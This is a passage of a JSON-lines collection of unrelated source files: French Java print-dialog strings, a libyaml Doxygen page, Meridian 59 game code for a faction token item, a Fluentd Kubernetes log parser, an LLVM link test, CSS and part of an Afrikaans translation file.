:\nlabel.numcopies.mnemonic=O\nlabel.priority=Priorit\\u00e9 :\nlabel.priority.mnemonic=R\nlabel.psname=Nom :\nlabel.psname.mnemonic=N\nlabel.pstype=Type :\nlabel.rangeto=Pour\nlabel.size=Taille :\nlabel.size.mnemonic=T\nlabel.source=Source :\nlabel.source.mnemonic=C\nlabel.status=\\u00c9tat :\nlabel.username=Nom d'utilisateur :\nlabel.username.mnemonic=O\nlabel.millimetres=(mm)\nlabel.inches=(in)\nlabel.topmargin=sup\\u00e9rieure\nlabel.topmargin.mnemonic=U\nlabel.bottommargin=inf\\u00e9rieure\nlabel.bottommargin.mnemonic=F\nlabel.leftmargin=gauche\nlabel.leftmargin.mnemonic=E\nlabel.rightmargin=droite\nlabel.rightmargin.mnemonic=R\n#\nradiobutton.color=Couleur\nradiobutton.color.mnemonic=L\nradiobutton.draftq=Brouillon\nradiobutton.draftq.mnemonic=B\nradiobutton.duplex=Duplex\nradiobutton.duplex.mnemonic=D\nradiobutton.highq=Haut\nradiobutton.highq.mnemonic=H\nradiobutton.landscape=Paysage\nradiobutton.landscape.mnemonic=P\nradiobutton.monochrome=Monochrome\nradiobutton.monochrome.mnemonic=M\nradiobutton.normalq=Normal\nradiobutton.normalq.mnemonic=N\nradiobutton.oneside=Un c\\u00f4t\\u00e9\nradiobutton.oneside.mnemonic=U\nradiobutton.portrait=Portrait\nradiobutton.portrait.mnemonic=O\nradiobutton.rangeall=Tout\nradiobutton.rangeall.mnemonic=T\nradiobutton.rangepages=Pages\nradiobutton.rangepages.mnemonic=P\nradiobutton.revlandscape=Paysage invers\\u00e9\nradiobutton.revlandscape.mnemonic=N\nradiobutton.revportrait=Portrait invers\\u00e9\nradiobutton.revportrait.mnemonic=I\nradiobutton.tumble=Culbuter\nradiobutton.tumble.mnemonic=T\n# The vkMnemonics correspond with the constants defined in KeyEvent, eg\n# 65 = KeyEvent.VK_A\ntab.appearance=Apparence\ntab.appearance.vkMnemonic=65\ntab.general=G\\u00e9n\\u00e9ral\ntab.general.vkMnemonic=71\ntab.pagesetup=Mise en page\ntab.pagesetup.vkMnemonic=83\n#\nerror.pagerange=Etendue de pages non valide ; sp\\u00e9cifiez les valeurs de nouveau (p. ex., 1-3,5,7-10)\nerror.destination=Nom de fichier non valide ; recommencez\n#\n# The following keys match the Strings returned by MediaSizeName.toString()\n# (in some cases the space character is replaced by '-' and the pound \n# character is replaced with 'n')\n#\niso-4a0=4A0 (ISO/DIN & JIS)\niso-2a0=2A0 (ISO/DIN & JIS)\niso-a0=A0 (ISO/DIN & JIS)\niso-a1=A1 (ISO/DIN & JIS)\niso-a2=A2 (ISO/DIN & JIS)1 (ISO/DIN & JIS)\niso-a3=A3 (ISO/DIN & JIS)\niso-a4=A4 (ISO/DIN & JIS)\niso-a5=A5 (ISO/DIN & JIS)\niso-a6=A6 (ISO/DIN & JIS)\niso-a7=A7 (ISO/DIN & JIS)\niso-a8=A8 (ISO/DIN & JIS)\niso-a9=A9 (ISO/DIN & JIS)\niso-a10=A10 (ISO/DIN & JIS)\niso-b0=B0 (ISO/DIN)\niso-b1=B1 (ISO/DIN)\niso-b2=B2 (ISO/DIN)\niso-b3=B3 (ISO/DIN)\niso-b4=B4 (ISO/DIN)\niso-b5=B5 (ISO/DIN)\niso-b6=B6 (ISO/DIN)\niso-b7=B7 (ISO/DIN)\niso-b8=B8 (ISO/DIN)\niso-b9=B9 (ISO/DIN)\niso-b10=B10 (ISO/DIN)\njis-b0=B0 (JIS)\njis-b1=B1 (JIS)\njis-b2=B2 (JIS)\njis-b3=B3 (JIS)\njis-b4=B4 (JIS)3 (JIS)\njis-b5=B5 (JIS)\njis-b6=B6 (JIS)\njis-b7=B7 (JIS)\njis-b8=B8 (JIS)\njis-b9=B9 (JIS)\njis-b10=B10 (JIS)\niso-c0=C0 (ISO/DIN)\niso-c1=C1 (ISO/DIN)\niso-c2=C2 (ISO/DIN)\niso-c3=C3 (ISO/DIN)\niso-c4=C4 (ISO/DIN)\niso-c5=C5 (ISO/DIN)\niso-c6=C6 (ISO/DIN)\niso-c7=C7 (ISO/DIN)\niso-c8=C8 (ISO/DIN)\niso-c9=C9 (ISO/DIN)\niso-c10=C10 (ISO/DIN)\nna-letter=Lettre\nna-legal=L\\u00e9gal\nexecutive=Administratif\nledger=Fiche\ntabloid=Tablo\\u00efd\ninvoice=Facture\nfolio=Folio\nquarto=Quarto\njapanese-postcard=Carte postale (JIS)\noufuko-postcard=Carte postale (JIS)\na=Ing\\u00e9nierie A\nb=Ing\\u00e9nierie B\nc=Ing\\u00e9nierie C\nd=Ing\\u00e9nierie D\ne=Ing\\u00e9nierie E\niso-designated-long=Long ISO\nitalian-envelope=Enveloppe Italie\nitaly-envelope=Enveloppe Italie\ninvite-envelope=Enveloppe invitation\nmonarch-envelope=Enveloppe Monarch\npersonal-envelope=Enveloppe personnelle\nna-number-9-envelope=Enveloppe no 9\nna-number-10-envelope=Enveloppe no 10\nna-number-11-envelope=Enveloppe no 11\nna-number-12-envelope=Enveloppe no 12\nna-number-14-envelope=Enveloppe no 14\nna-6x9-envelope=Enveloppe 6x9\nna-7x9-envelope=Enveloppe 6x7\nna-9x11-envelope=Enveloppe 9x11\nna-9x12-envelope=Enveloppe 9x12\nna-10x13-envelope=Enveloppe 10x15\nna-10x14-envelope=Enveloppe 10x15\nna-10x15-envelope=Enveloppe 10x15\nna-5x7=Papier 5 x 7 po\nna-8x10=Papier 8 x 10 po\n#\n# The following keys match the Strings returned by MediaTray.toString()\n#\nauto-select=S\\u00e9lection automatique\ntop=Haut\nmiddle=Centre\nbottom=Bas\nenvelope=Enveloppe\nmanual=Manuel\nlarge-capacity=Grande capacit\\u00e9\nmain=Principal\nside=C\\u00f4t\\u00e9\n# Add the additional standard bins defined by win32\nManual-Envelope=Enveloppe\nAutomatic-Feeder=Alimentation automatique\nTractor-Feeder=Alimentation en continu\nSmall-Format=Petit format\nLarge-Format=Grand format\nCassette=Cassette\nForm-Source=Source du formulaire\n#\n# The following keys match the Strings returned by \n# PrinterIsAcceptingJobs.toString()\n#\naccepting-jobs=Accepter les t\\u00e2ches\nnot-accepting-jobs=Refuser les t\\u00e2ches\n"} {"text": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/xhtml;charset=UTF-8\"/>\n<title>yaml: Data Fields - Variables</title>\n<link href=\"tabs.css\" rel=\"stylesheet\" type=\"text/css\"/>\n<link href=\"doxygen.css\" rel=\"stylesheet\" type=\"text/css\"/>\n</head>\n<body>\n<!-- Generated by Doxygen 1.7.1 -->\n<div class=\"navigation\" id=\"top\">\n <div class=\"tabs\">\n <ul class=\"tablist\">\n <li><a href=\"index.html\"><span>Main&nbsp;Page</span></a></li>\n <li><a href=\"modules.html\"><span>Modules</span></a></li>\n <li class=\"current\"><a href=\"annotated.html\"><span>Data&nbsp;Structures</span></a></li>\n <li><a href=\"files.html\"><span>Files</span></a></li>\n </ul>\n </div>\n <div class=\"tabs2\">\n <ul class=\"tablist\">\n <li><a href=\"annotated.html\"><span>Data&nbsp;Structures</span></a></li>\n <li class=\"current\"><a href=\"functions.html\"><span>Data&nbsp;Fields</span></a></li>\n </ul>\n </div>\n <div class=\"tabs2\">\n <ul class=\"tablist\">\n <li><a href=\"functions.html\"><span>All</span></a></li>\n <li class=\"current\"><a href=\"functions_vars.html\"><span>Variables</span></a></li>\n </ul>\n </div>\n <div class=\"tabs3\">\n <ul class=\"tablist\">\n <li><a href=\"functions_vars.html#index_a\"><span>a</span></a></li>\n <li><a href=\"functions_vars_0x62.html#index_b\"><span>b</span></a></li>\n <li><a href=\"functions_vars_0x63.html#index_c\"><span>c</span></a></li>\n <li><a href=\"functions_vars_0x64.html#index_d\"><span>d</span></a></li>\n <li><a href=\"functions_vars_0x65.html#index_e\"><span>e</span></a></li>\n <li class=\"current\"><a href=\"functions_vars_0x66.html#index_f\"><span>f</span></a></li>\n <li><a href=\"functions_vars_0x68.html#index_h\"><span>h</span></a></li>\n <li><a href=\"functions_vars_0x69.html#index_i\"><span>i</span></a></li>\n <li><a href=\"functions_vars_0x6b.html#index_k\"><span>k</span></a></li>\n <li><a href=\"functions_vars_0x6c.html#index_l\"><span>l</span></a></li>\n <li><a href=\"functions_vars_0x6d.html#index_m\"><span>m</span></a></li>\n <li><a href=\"functions_vars_0x6e.html#index_n\"><span>n</span></a></li>\n <li><a href=\"functions_vars_0x6f.html#index_o\"><span>o</span></a></li>\n <li><a href=\"functions_vars_0x70.html#index_p\"><span>p</span></a></li>\n <li><a href=\"functions_vars_0x71.html#index_q\"><span>q</span></a></li>\n <li><a href=\"functions_vars_0x72.html#index_r\"><span>r</span></a></li>\n <li><a href=\"functions_vars_0x73.html#index_s\"><span>s</span></a></li>\n <li><a href=\"functions_vars_0x74.html#index_t\"><span>t</span></a></li>\n <li><a href=\"functions_vars_0x75.html#index_u\"><span>u</span></a></li>\n <li><a href=\"functions_vars_0x76.html#index_v\"><span>v</span></a></li>\n <li><a href=\"functions_vars_0x77.html#index_w\"><span>w</span></a></li>\n </ul>\n </div>\n</div>\n<div class=\"contents\">\n&nbsp;\n\n<h3><a class=\"anchor\" id=\"index_f\"></a>- f -</h3><ul>\n<li>file\n: <a class=\"el\" href=\"structyaml__parser__s.html#ae69c2974e3c4c37e941a0e1971be15a9\">yaml_parser_s</a>\n, <a class=\"el\" href=\"structyaml__emitter__s.html#abfe1e82cd5c4a180b1468e65ccfd1c61\">yaml_emitter_s</a>\n</li>\n<li>flow_level\n: <a class=\"el\" href=\"structyaml__emitter__s.html#a50f8e97c4290b83ebd646b4c4f5c5de9\">yaml_emitter_s</a>\n, <a class=\"el\" href=\"structyaml__parser__s.html#a6a4bbbd3f58533e0969b7218c1e73fd4\">yaml_parser_s</a>\n</li>\n<li>flow_plain_allowed\n: <a class=\"el\" href=\"structyaml__emitter__s.html#afd8496f5bb995bb5aacc349fd6b45bf5\">yaml_emitter_s</a>\n</li>\n</ul>\n</div>\n<hr class=\"footer\"/><address class=\"footer\"><small>Generated on Mon May 30 2011 22:00:00 for yaml by&nbsp;\n<a href=\"http://www.doxygen.org/index.html\">\n<img class=\"footer\" src=\"doxygen.png\" alt=\"doxygen\"/></a> 1.7.1 </small></address>\n</body>\n</html>\n"} {"text": "// Copyright 2014 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n//------------------------------------------------\n// Functions from libva-drm used in chromium code.\n//------------------------------------------------\nVADisplay vaGetDisplayDRM(int fd);\n"} {"text": "% Meridian 59, Copyright 1994-2012 Andrew Kirmse and Chris Kirmse.\n% All rights reserved.\n%\n% This software is distributed under a license that is described in\n% the LICENSE file that accompanies it.\n%\n% Meridian is a registered trademark.\n\n\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\nToken is PassiveItem\n\n% The token is a used in the faction games. It drains vigor from the holder.\n% The token takes both hand slots and the holder cannot cast spells while\n% holding it. This is to prevent cheezy PvP tactics while holding a token.\n% Players holding a token at death take a no-peanlty death.\n\nconstants:\n \n include blakston.khd\n TOKEN_FATIGUE_TIME=10000\n LAZY_RESET_TIME=180000\n\nresources:\n\n token_name_rsc = \"Token\"\n token_icon_rsc = rat.bgf\n token_desc_rsc = \"A Token of the Meridian Council\"\n token_used_desc_rsc = \\\n \"The token is very heavy, and you feel your vigor drain away as you hold it.\"\n\n token_use_rsc = \\\n \"You feel drained and out of breath from carrying the token.\"\n token_unuse_rsc = \\\n \"You are relieved to feel your vigor begin returning as you let go of the token.\"\n token_cantuse_rsc = \\\n \"You are unable to hold so many items in your hands, and the token slips to the ground.\"\n token_noteligible_rsc = \\\n \"The token recognizes you are beneath notice of the Royal Court, and writhes in your hands. You cannot hold it.\"\n\n token_realized_rsc = \"~IYou are astonished to see %s%s in the loot from your kill.~n\"\n token_was_realized_rsc = \"~IYour nerves jangle, and you suddenly know that %s%s has recovered %s%s from %s%s.~n\"\n\n token_was_delivered_rsc = \"~IAll hail %s%s who has returned %s%s to the Meridian Council.~n\"\n\n tok_faction_too_strong = \"I am sorry, but my current followers provide all the support I need. Perhaps if you were to try again later, I will have need of you.\"\n\n token_drops = \"%s%s slips from your grasp and falls to the ground!\"\n\nclassvars:\n\n vrName = token_name_rsc\n vrIcon = token_icon_rsc\n vrDesc = token_desc_rsc\n\n viBulk = 50\n viWeight = 500\n viValue_average = 2500\n \n viUse_type = ITEM_USE_HAND\n viUse_Amount = 2\n\n viVigorDrop = 120000\n viInitialTimeval = 10000\n\n viItem_type = ITEMTYPE_TOKEN\n\n vrTokenOverlay = $\n\nproperties:\n\n pbIn_use = False\n pbRejectedOffer=False\n piVigorRestThresholdChange = 200\n ptTortureTimer = $\n ptLazyTimer = $\n ptGenerationTimer = $\n\nmessages:\n\n Constructor()\n {\n poOwner = $;\n ptGenerationTimer=CreateTimer(self,@TokenGenerationTimer,viInitialTimeval);\n \n propagate;\n }\n\n Delete()\n {\n if pbIn_use\n {\n Send(self,@NewUnused);\n }\n \n if ptTortureTimer <> $\n {\n DeleteTimer(ptTortureTimer);\n ptTortureTimer = $;\n }\n \n if ptLazyTimer <> $\n {\n DeleteTimer(ptLazyTimer);\n ptLazyTimer=$;\n }\n \n if ptGenerationTimer <> $\n {\n DeleteTimer(ptGenerationTimer);\n ptGenerationTimer=$;\n }\n \n if Send(SYS,@GetTokenGame) <> $\n {\n Send(Send(SYS,@GetTokenGame),@TokenDeleted,#what=self);\n }\n \n propagate;\n }\n \n GetInitialTimeval()\n {\n return viInitialTimeval;\n }\n\n NilOwner()\n {\n poOwner = $;\n\n return;\n }\n\n NewOwner(what = $)\n {\n if ptLazyTimer <> $\n {\n DeleteTimer(ptLazyTimer);\n ptLazyTimer = $;\n }\n\n if ptTortureTimer <> $\n {\n DeleteTimer(ptTortureTimer);\n ptTortureTimer = $;\n }\n\n if what = $\n {\n propagate;\n }\n\n if IsClass(what,&User)\n and NOT send(what,@PlayerIsImmortal)\n {\n post(self,@TryingToUse,#what=what);\n }\n \n if IsClass(what,&Room)\n {\n ptLazyTimer = CreateTimer(self,@LazyTokenTimer,LAZY_RESET_TIME);\n }\n \n propagate;\n }\n\n LazyTokenTimer()\n {\n ptLazyTimer = $;\n \n if IsClass(poOwner,&Room)\n {\n Send(self,@TeleportToken,#myroom=poOwner);\n }\n \n return;\n }\n\n TryingToUse(what = $)\n {\n local i,Temp;\n \n Temp = FALSE;\n \n Send(what,@TryUseItem,#what=self);\n \n if Send(what,@PlayerIsIntriguing)\n {\n for i in Send(what,@GetPlayerUsing)\n {\n if i = self\n {\n return;\n }\n }\n \n Send(what,@MsgSendUser,#message_rsc=token_cantuse_rsc);\n \n Post(Send(what,@GetOwner),@NewHold,#what=self,\n #new_row=Send(poOwner,@GetRow),#new_col=Send(poOwner,@GetCol));\n }\n else\n {\n for i in Send(what,@GetPlayerUsing)\n {\n if i=self\n {\n Send(what,@MsgSendUser,#message_rsc=token_noteligible_rsc);\n Send(self,@NewUnused);\n Temp = TRUE;\n \n break;\n }\n }\n \n if not Temp \n {\n Send(what,@MsgSendUser,#message_rsc=token_cantuse_rsc);\n Post(Send(what,@GetOwner),@NewHold,#what=self,\n #new_row=Send(poOwner,@GetRow),#new_col=Send(poOwner,@GetCol));\n }\n }\n \n return;\n }\n\n NewUsed(what = $)\n \"When the token is carried, the wearer's rest threshold goes down\"\n {\n local iVigorRestThreshold;\n \n pbIn_use = TRUE;\n \n if Send(poOwner,@PlayerIsImmortal)\n {\n piVigorRestThresholdChange = 0;\n\n propagate;\n }\n\n iVigorRestThreshold = send(poOwner, @GetVigorRestThreshold);\n\n % This is to ensure both that the player's rest threshold does not drop below\n % 10 as well as to make sure we don't make it above maximum when the token is\n % dropped. (see player.kod for why)\n\n piVigorRestThresholdChange = iVigorRestThreshold - 10;\n\n Send(poOwner,@MsgSendUser,#message_rsc=token_used_desc_rsc);\n \n Send(poOwner,@SetVigorRestThreshold,#amount=iVigorRestThreshold-piVigorRestThresholdChange);\n send(poOwner,@AddExertion,#amount=viVigorDrop/2+Random(0,viVigorDrop/2));\n \n ptTortureTimer = CreateTimer(self,@TortureHolder,TOKEN_FATIGUE_TIME);\n\n % Cancels rescue and elusion when a player picks up a token\n Send(poOwner,@BreakTrance);\n Send(poOwner,@CancelRescue);\n \n if vrTokenOverlay <> $\n {\n post(poOwner,@SetOverlay,#what=self);\n }\n\n propagate;\n }\n\n TortureHolder()\n {\n if NOT pbIn_use\n {\n return;\n }\n \n if ptTortureTimer<>$\n {\n ptTortureTimer=$;\n }\n \n if Send(poOwner,@PlayerIsImmortal)\n {\n return;\n }\n \n send(poOwner,@MsgSendUser,#message_rsc=token_use_rsc);\n send(poOwner,@AddExertion,#amount = viVigorDrop/2+Random(0,viVigorDrop/2));\n \n ptTortureTimer = CreateTimer(self,@TortureHolder,TOKEN_FATIGUE_TIME);\n \n return;\n }\n\n OfferRejected()\n {\n pbRejectedOffer = TRUE;\n \n return;\n }\n\n NewUnused(what = $,where=$,death=FALSE)\n \"Called when the token is dropped or unused (same thing). The special\"\n \"where flag is needed to handle guild hall enterings.\"\n {\n local iVigorRestThreshold,oldOwner,oldrow,oldcol,oldroom;\n \n if (not pbIn_use)\n {\n propagate;\n }\n \n pbIn_use = FALSE;\n \n iVigorRestThreshold = send(poOwner, @GetVigorRestThreshold);\n if ptTortureTimer<>$\n {\n DeleteTimer(ptTortureTimer);\n ptTortureTimer=$;\n }\n \n if NOT Send(poOwner,@PlayerIsImmortal)\n {\n send(poOwner,@MsgSendUser,#message_rsc=token_unuse_rsc);\n }\n \n send(poOwner,@SetVigorRestThreshold,#amount=iVigorRestThreshold+piVigorRestThresholdChange);\n piVigorRestThresholdChange = 200;\n\n if where<>$\n {\n Post(where,@NewHold,#what=self,#new_row=Send(poOwner,@GetRow),#new_col=Send(poOwner,@GetCol));\n }\n else\n {\n oldOwner = poOwner;\n oldRoom = send(poOwner,@getowner);\n oldCol = send(poOwner,@getcol);\n oldRow = send(poOwner,@getrow);\n Post(self,@CheckForDrop,#owned=oldOwner,#oldroom=oldroom,#oldrow=oldrow,#oldcol=oldcol);\n }\n \n if vrTokenOverlay <> $\n {\n Send(poOwner,@RemoveOverlay,#what=self);\n }\n\n propagate;\n }\n\n % This hack makes sure we are after any attempts to use the token,\n % especially needed for offering to players.... So, if were still\n % the owner when we get here, it means we unused it ourselves, and\n % need to drop it.\n\n CheckForDrop(owned=$, oldroom = $, oldrow = 20, oldcol = 20)\n {\n Post(self,@CheckForDropTwo,#owned=owned,#oldroom=oldroom, #oldrow=oldrow, #oldcol=oldcol);\n\n return;\n }\n \n CheckForDropTwo(owned=$, oldroom = $, oldrow= 20, oldcol = 20)\n {\n if poOwner = owned AND NOT pbRejectedOffer\n {\n if send(poOwner,@GetOwner) = $ AND oldroom <> $\n {\n Send(oldroom,@NewHold,#what=self,#new_row=oldrow,#new_col=oldcol);\n }\n else\n {\n Send(Send(poOwner,@GetOwner),@NewHold,#what=self,\n #new_row=Send(poOwner,@GetRow),#new_col=Send(poOwner,@GetCol));\n }\n }\n \n pbRejectedOffer = FALSE;\n \n return;\n }\n\n UserLogoff()\n {\n send(poOwner,@MsgSendUser,#message_rsc=Token_drops,\n #parm1=send(self,@GetCapDef),#parm2=vrName);\n Send(poOwner,@TryUnuseItem,#what=self);\n \n propagate;\n }\n\n DestroyDisposable()\n {\n return;\n }\n\n TeleportToken(myroom=$)\n {\n if myroom = $ OR NOT IsClass(poOwner,&Room)\n {\n return;\n }\n \n Send(myroom,@teleport,#what=self);\n \n return;\n }\n\n TokenGenerationTimer()\n {\n local i;\n\n ptGenerationTimer = $;\n\n if Send(SYS,@GetTokenGame) = $\n {\n return;\n }\n\n if NOT Send(Send(SYS,@GetTokenGame),@ScandalCheck)\n {\n Send(Send(SYS,@GetTokenGame),@OpenToken,#mytoken=self);\n }\n else\n {\n ptGenerationTimer = CreateTimer(self,@TokenGenerationTimer,\n Send(Send(SYS,@GetTokenGame),@GetTimeval,#mytoken=self)/2);\n }\n\n return;\n }\n \n TokenDelivered(who=$,mob=$)\n {\n local i;\n\n for i in Send(SYS,@GetUsersLoggedOn)\n {\n if NOT send(i,@PlayerIsIntriguing)\n {\n continue;\n }\n \n if i <> who\n {\n Send(i,@MsgSendUser,#message_rsc=token_was_delivered_rsc,\n #parm1=Send(who,@GetIndef),#parm2=Send(who,@GetName),\n #parm3=Send(self,@GetIndef),#parm4=Send(self,@GetName));\n }\n else\n {\n if Send(who,@GetFaction) <> FACTION_NEUTRAL\n AND (isClass(mob,&Council)\n OR Send(who,@GetFaction) = Send(mob,@GetFaction))\n {\n Send(who,@UpdateFactionService,#full=TRUE);\n }\n\n Send(who,@TokenDeliveryReward,#mob=mob);\n\n if isClass(mob,&Factions)\n AND Send(Send(SYS,@GetParliament),@GetPower,\n #faction=Send(mob,@GetFaction)) = FACTION_STRONGLY_IN\n {\n Send(who,@MsgSendUser,#message_Rsc=tok_faction_too_strong);\n }\n else \n {\n if (isClass(mob,&Factions)\n AND (Send(who,@GetFaction) <> Send(mob,@GetFaction)))\n OR (isClass(mob,&ShalillePriestess)\n AND (Send(who,@GetFaction) <> FACTION_NEUTRAL))\n { \n Send(who,@ResignFaction);\n Send(who,@JoinFaction,#new_faction=Send(mob,@GetFaction));\n }\n\n if Send(who,@GetFaction)=FACTION_NEUTRAL AND isClass(mob,&Factions)\n {\n Send(who,@JoinFaction,#new_faction=Send(mob,@GetFaction));\n }\n }\n }\n }\n\n Send(Send(SYS,@GetTokenGame),@DeliveryEffects,\n #mob=mob,#who=who,#mytoken=self);\n ptGenerationTimer = CreateTimer(self,@TokenGenerationTimer,\n Send(Send(SYS,@GetTokenGame),@GetTimeval,#mytoken=self));\n \n return;\n }\n\n TokenRealized(who=$,mob=$)\n {\n local i;\n \n For i in Send(SYS,@GetUsersLoggedOn)\n {\n if (not send(i,@playerisintriguing)) {continue;}\n if i = who\n {\n Send(i,@MsgSendUser,#message_rsc=token_realized_rsc,\n #parm1=Send(self,@GetIndef),#parm2=Send(self,@GetName));\n }\n else\n {\n Send(i,@MsgSendUser,#message_rsc=token_was_realized_rsc,\n #parm1=Send(who,@GetIndef),\n #parm2=Send(who,@GetName),\n #parm3=Send(self,@GetIndef),#parm4=Send(self,@GetName),\n #parm5=Send(mob,@GetIndef),#parm6=Send(mob,@GetName));\n }\n }\n if Send(SYS,@GetTokenGame) <> $\n {\n Send(Send(SYS,@GetTokenGame),@CloseToken,#mytoken=self);\n }\n \n return;\n }\n\n % Overlay stuff.\n\n GetOverlay()\n {\n return vrTokenOverlay;\n }\n \n GetOverlayHotspot()\n {\n return HS_TOKEN;\n }\n\n SendOverlayAnimation()\n {\n % group 1 is the player-overlay group\n if vrTokenOverlay <> $\n {\n AddPacket(1,ANIMATE_NONE,2,1);\n }\n \n return;\n }\n\n % Misc. infrastructure to keep the tokens in play.\n \n CanShatter()\n \"Tokens may NOT be shattered.\"\n {\n return FALSE;\n }\n\n ReqDMDelete()\n \"Tokens are not deleted with the DM CLear Ability command.\"\n {\n return FALSE;\n }\n \n CanBeStoredInVault() \n {\n return FALSE;\n }\n\n RandomTeleport()\n {\n local oGame, iRoom, oRoom;\n\n oGame = send(SYS,@GetTokenGame);\n iRoom = send(oGame,@ChooseTokenRoom);\n if iRoom <> $\n {\n oRoom = send(SYS,@FindRoomByNum,#num=iRoom);\n send(oRoom,@Teleport,#what=self);\n }\n \n return;\n }\n\n\nend\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n\n"} {"text": "# frozen_string_literal: true\n\nsource 'https://rubygems.org'\n\ngem 'rack', '~> 1.0'\n\ngemspec path: '..'\n"} {"text": "//最佳销售单品\n.index-categrory{\n .best {\n overflow: hidden;\n\n .title {\n font-size: 14px;\n text-align: center;\n margin: 15px 0;\n }\n\n .SalesGoods-box {\n\n .SalesGoods-item {\n text-align: center;\n display: inline-block;\n width: 33.33%;\n padding: 0 3px;\n box-sizing: border-box;\n vertical-align: middle;\n margin-bottom: 6px;\n\n .item {\n background: #FFFFFF;\n }\n }\n\n .slider-image {\n width: 100%;\n }\n .goods-name {\n white-space: nowrap;\n overflow: hidden;\n text-overflow: ellipsis;\n padding-left: 2px;\n }\n\n .money-box {\n display: flex;\n align-items: center;\n padding-left: 7px;\n .money-now {\n color: red;\n font-size: 12px;\n }\n .money-old {\n color: #c7c7c7;\n font-size: 13px;\n text-decoration: line-through;\n }\n }\n }\n .button-box {\n width: 100%;\n height: 44px;\n text-align: center;\n line-height: 44px;\n background: #FFFFFF;\n margin-bottom: 10px;\n\n }\n }\n\n}"} {"text": "#\n# Fluentd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n# The following Fluentd parser plugin, aims to simplify the parsing of multiline\n# logs found in Kubernetes nodes. Since many log files shared the same format and\n# in order to simplify the configuration, this plugin provides a 'kubernetes' format\n# parser (built on top of MultilineParser).\n#\n# When tailing files, this 'kubernetes' format should be applied to the following\n# log file sources:\n#\n# - /var/log/kubelet.log\n# - /var/log/kube-proxy.log\n# - /var/log/kube-apiserver.log\n# - /var/log/kube-controller-manager.log\n# - /var/log/kube-scheduler.log\n# - /var/log/rescheduler.log\n# - /var/log/glbc.log\n# - /var/log/cluster-autoscaler.log\n#\n# Usage:\n#\n# ---- fluentd.conf ----\n#\n# <source>\n# @type tail\n# path ./kubelet.log\n# read_from_head yes\n# tag kubelet\n# <parse>\n# @type kubernetes\n# </parse>\n# </source>\n#\n# ---- EOF ---\n\nrequire 'fluent/plugin/parser_regexp'\n\nmodule Fluent\n module Plugin\n class KubernetesParser < RegexpParser\n Fluent::Plugin.register_parser(\"kubernetes\", self)\n\n CONF_FORMAT_FIRSTLINE = %q{/^\\w\\d{4}/}\n CONF_FORMAT1 = %q{/^(?<severity>\\w)(?<time>\\d{4} [^\\s]*)\\s+(?<pid>\\d+)\\s+(?<source>[^ \\]]+)\\] (?<message>.*)/m}\n CONF_TIME_FORMAT = \"%m%d %H:%M:%S.%N\"\n\n def configure(conf)\n conf['expression'] = CONF_FORMAT1\n conf['time_format'] = CONF_TIME_FORMAT\n super\n end\n end\n end\nend\n"} {"text": "; RUN: llvm-link %s -override %S/Inputs/override.ll -S | FileCheck %s\n; RUN: llvm-link -override %S/Inputs/override.ll %s -S | FileCheck %s\n\n\n; CHECK-LABEL: define i32 @foo\n; CHECK-NEXT: entry:\n; CHECK-NEXT: ret i32 4\ndefine i32 @foo(i32 %i) {\nentry:\n %add = add nsw i32 %i, %i\n ret i32 %add\n}\n\n; Function Attrs: nounwind ssp uwtable\ndefine i32 @main(i32 %argc, i8** %argv) {\nentry:\n %a = call i32 @foo(i32 2)\n ret i32 %a\n}\n"} {"text": "msgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: PACKAGE VERSION\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2018-01-26T21:24:49.660Z\\n\"\n\"PO-Revision-Date: 2015-04-15 11:18+0000\\n\"\n\"Last-Translator: af-ZA09_Samuel <leuce.com+rubric@gmail.com>\\n\"\n\"Language-Team: LANGUAGE <LL@li.org>\\n\"\n\"Language: af\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"Plural-Forms: nplurals=2; plural=(n != 1);\\n\"\n\"X-Generator: Pootle 2.5.0\\n\"\n\"X-POOTLE-MTIME: 1429096704.0\\n\"\n\n#: /templates/carrier.html:6 /media/js/views/carrier.js:14\nmsgid \"Free Carrier Apps\"\nmsgstr \"\"\n\n#: /templates/carrier.html:8\nmsgid \"Your carrier offers these free apps. You can download them at no charge.\"\nmsgstr \"\"\n\n#: /templates/carrier.html:30 /templates/carrier.html:35\nmsgid \"No apps found.\"\nmsgstr \"Geen programme gevind nie.\"\n\n#: /templates/carrier.html:37 /templates/category.html:49 /templates/langpacks.html:41 /templates/product_list.html:48 /templates/purchases.html:35 /templates/addon/list.html:33\nmsgid \"An internal server error occurred. Please try again later.\"\nmsgstr \"'n Interne bedienerfout het voorgekom. Probeer asseblief weer later.\"\n\n#: /templates/category.html:9 /templates/category.html:19 /templates/product_list.html:9 /templates/product_list.html:14 /templates/purchases.html:7 /templates/search.html:9 /templates/search.html:16\nmsgid \"Expand\"\nmsgstr \"Vou uit\"\n\n#: /templates/category.html:42 /templates/search.html:72\nmsgid \"No results found\"\nmsgstr \"Geen resultate gevind nie\"\n\n#: /templates/category.html:47\nmsgid \"The category you requested does not exist.\"\nmsgstr \"Die kategorie wat jy versoek het, bestaan nie.\"\n\n#: /templates/categories.html:3 /templates/categories.html:13 /templates/header.html:9 /templates/header.html:10 /templates/nav.html:38 /templates/app/index.html:176\nmsgid \"Categories\"\nmsgstr \"Kategorieë\"\n\n#: /templates/footer.html:6 /templates/header.html:46 /templates/nav.html:93 /media/js/views/feedback.js:50 